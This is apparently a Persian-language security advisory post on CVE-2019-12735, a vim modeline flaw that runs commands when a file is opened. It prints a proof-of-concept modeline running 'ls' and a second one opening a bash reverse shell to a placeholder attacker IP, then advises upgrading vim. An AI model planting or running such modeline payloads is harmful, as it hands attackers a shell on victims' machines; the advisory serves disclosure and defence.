گرفتن shell سیستم تنها با باز کردن یک فایل txt

آسیب پذیری بحرانی از نوع اجرای دستور در ویرایشگر معروف vim

کد cve مربوط : cve-2019-12735

شدت : بالا

همه ما احتمالا با ویرایشگر vim کار کرده ایم یا حداقل آشنایی جزئی در موردش داریم. این ویرایشگر در میان کاربران لینوکس بسیار محبوب می باشد که دلیل این محبوبیت فراهم آوری امکاناتی برای شخصی سازی هر چه بهتر این ویرایشگر می‌باشد. همین امکانات برای شخصی سازی باعث ایجاد آسیب پذیری شده است که به مهاجم این امکان را می‌دهد که با ساخت یک فایل با محتویات خاص مخرب باعث شود که قربانی صرفا با باز کردن فایل در ویرایشگر vim باعث اجرای دستورات موجود در داخل فایل شوند.

 

این آسیب پذیری در نسخه 8.1.1365 به پایین موجود بوده و همچنین باید modeline در این ویرایشگر فعال باشد تا منجر به اجرای دستور شود.

 

اثبات مفهوم (PoC):

ویرایشگر vim دارای modeline می‌باشد که برای شخصی سازی هر چه بهتر این ویرایشگر استفاده می‌شود به عنوان مثال تعیین طول و ارتفاع صفحه نمایش بر حسب تعداد کاراکتر و امثالهم. حال با استفاده از modeline ها می توان دستوری در محتوای فایل گنجاند که قربانی با باز کردن فایل با استفاده از vim باعث شود که دستورات درون فایل اجرا شوند.

مهاجم کافی است تا متن زیر را درون فایل a.txt بگذارد تا دستور ls اجرا شود:

:!ls||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”

حال تصور کنید مهاجم در عوض دستور ls که صرفا برای اثبات مفهوم بود، دستور زیر را درون فایل بگنجاند که منجر به یک reverse shell شده و مهاجم از قربانی shell بگیرد و تمام!

:!bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”

برای رفع آسیب پذیری حتما vim خود را به آخرین نسخه موجود ارتقا دهید.

 

منبع :

https://www.cvedetails.com/cve/CVE-2019-12735/

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md



پاسخ دهید